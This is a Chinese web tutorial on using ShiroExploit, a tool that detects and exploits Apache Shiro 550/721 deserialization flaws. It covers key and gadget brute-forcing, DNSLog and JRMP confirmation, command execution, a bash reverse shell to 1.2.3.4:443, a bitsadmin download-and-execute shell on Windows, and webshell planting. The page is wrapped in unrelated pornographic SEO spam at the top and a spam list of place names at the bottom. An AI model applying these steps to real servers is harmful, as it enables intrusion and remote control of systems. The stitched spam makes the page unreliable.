中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Shiro漏洞檢測工具ShiroExploit怎么使用

發布時間:2021-12-23 17:15:42 來源:億速云 閱讀:1179 作者:iii 欄目:大數據

本篇內容主要講解“Shiro漏洞檢測工具ShiroExploit怎么使用”,感興趣的朋友不妨來看看。本文介紹的方法操作簡單快捷,實用性強。下面就讓小編來帶大家學習“Shiro漏洞檢測工具ShiroExploit怎么使用”吧!

ShiroExploit

支持對Shiro550(硬編碼秘鑰)和Shiro721(Padding Oracle)的一鍵化檢測,支持簡單回顯。


使用說明

第一步:按要求輸入要檢測的目標URL和選擇漏洞類型

  • Shiro550 無需提供rememberMe Cookie, Shiro721 需要提供一個有效的rememberMe Cookie
  • Shiro550 無需選擇操作系統類型, Shiro721 需要選擇操作系統類型
  • 可以手工指定特定的 Key 和 Gadget,默認不指定,會遍歷所有的 Key 和 Gadget
  • 復雜Http請求支持直接粘貼數據包

Shiro漏洞檢測工具ShiroExploit怎么使用

第二步: 選擇攻擊方式


Shiro漏洞檢測工具ShiroExploit怎么使用

選擇使用 ceye.io 進行漏洞檢測
  • 可以不進行任何配置,配置文件中已經預置了 CEYE 域名和對應的 Token,當然也可以對其進行修改。
  • 程序會首先使用  URLDNS  篩選出唯一 Key,然后依次調用各個 Gadget 生成 Payload
  • 缺點:程序會使用 API: http://api.ceye.io/v1/records?token=a78a1cb49d91fe09e01876078d1868b2&type=dns&filter=[UUID]  查詢檢測結果,這個 API 有時候會無法正常訪問,導致在這種方式下無法找到 Key 或者有效的 Gadget
選擇 使用 dnslog.cn 進行漏洞檢測
  • 可以不進行任何配置,每次啟動時程序會自動從  dnslog.cn  申請一個 DNS Record。
  • 程序會首先使用  URLDNS  篩選出唯一 Key,然后依次調用各個 Gadget 生成 Payload
  • 缺點:少數時候 dnslog.cn 會間隔較久才顯示 DNS 解析結果導致程序無法找到 Key 或者有效的 Gadget,且 dnslog.cn 只會記錄最近的10條 DNS 解析記錄
選擇 使用 JRMP + dnslog 進行漏洞檢測
  • 需要在 VPS 上通過命令 java -cp ShiroExploit.jar com.shiroexploit.server.BasicHTTPServer [HttpSerivce Port] [JRMPListener Port] 開啟HttpService/JRMPListener,并按照要求填入相應 IP 和端口
  • 如果開啟 HttpService/JRMPListener 時未指定端口號,則  HTTPService  默認監聽  8080  端口, JRMPListener  默認監聽  8088  端口
  • 使用  JRMP  的方式進行漏洞檢測,可以顯著減小 cookie 大小
  • 程序會首先使用  URLDNS  篩選出唯一 Key,然后使用  JRMP  依次為各個 Gadget 生成對應的 JRMPListener
選擇 使用回顯進行漏洞檢測
  • 針對不出網的情況進行漏洞檢測,此時可以檢測的 Gadget 類型會少于使用 DNSLog 方式的 Gadget類型
  • 目前主要是通過將命令執行結果寫入 Web 目錄下然后讀取的方式實現回顯
  • 需要提供一個靜態資源 URL,程序會將此靜態資源所在的目錄當做寫入目錄
  • 注:開始的時候使用  https://blog.csdn.net/fnmsd/article/details/106709736  介紹的方式實現回顯,在本地可以測試成功,但是在實際環境中基本不成功(可能是我的姿勢有問題,歡迎探討),所以目前是通過讀寫文件的方式實現回顯,后期可能會加入其它方式

第三步:檢測漏洞并執行命令

  • 程序在判斷目標應用是否存在漏洞時,窗口上部的輸入框無法進行輸入。當程序檢測出目標應用存在漏洞時,輸入框可以進行輸入并執行命令。
  • 反彈shell(linux)  采用  bash -i >& /dev/tcp/1.2.3.4/443 0>&1  的方式反彈 shell
  • 反彈shell(Windows)  采用  bitsadmin  下載指定 URL 的 exe 文件并執行的方式獲取 shell

Shiro漏洞檢測工具ShiroExploit怎么使用

  • 獲取Webshell  可以在能夠回顯的情況下直接在使用者給出的路徑(目錄需要真實存在)下寫入 webshell, webshell 名稱和后綴名由使用者自行指定,webshell 的內容從 config 目錄下的 shell.jsp 中讀取

Shiro漏洞檢測工具ShiroExploit怎么使用

備注

在使用漏洞檢測主程序或者開啟 HttpService/JRMPListener 時,均需要ysoserial.jar的支持,將ysoserial.jar和ShiroExploit.jar放置在同一目錄即可。

到此,相信大家對“Shiro漏洞檢測工具ShiroExploit怎么使用”有了更深的了解,不妨來實際操作一番吧!這里是億速云網站,更多相關內容可以進入相關頻道進行查詢,關注我們,繼續學習!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

青岛市| 曲阜市| 万荣县| 绥中县| 改则县| 灌云县| 建德市| 会昌县| 长垣县| 滦平县| 堆龙德庆县| 东海县| 南丹县| 梁平县| 福清市| 陇南市| 丹东市| 应城市| 巴南区| 拜城县| 永济市| 肥东县| 平湖市| 西藏| 昆山市| 温州市| 莫力| 马边| 仙游县| 游戏| 英山县| 苏州市| 凤庆县| 阜南县| 视频| 都昌县| 富顺县| 河西区| 福安市| 子洲县| 乐东|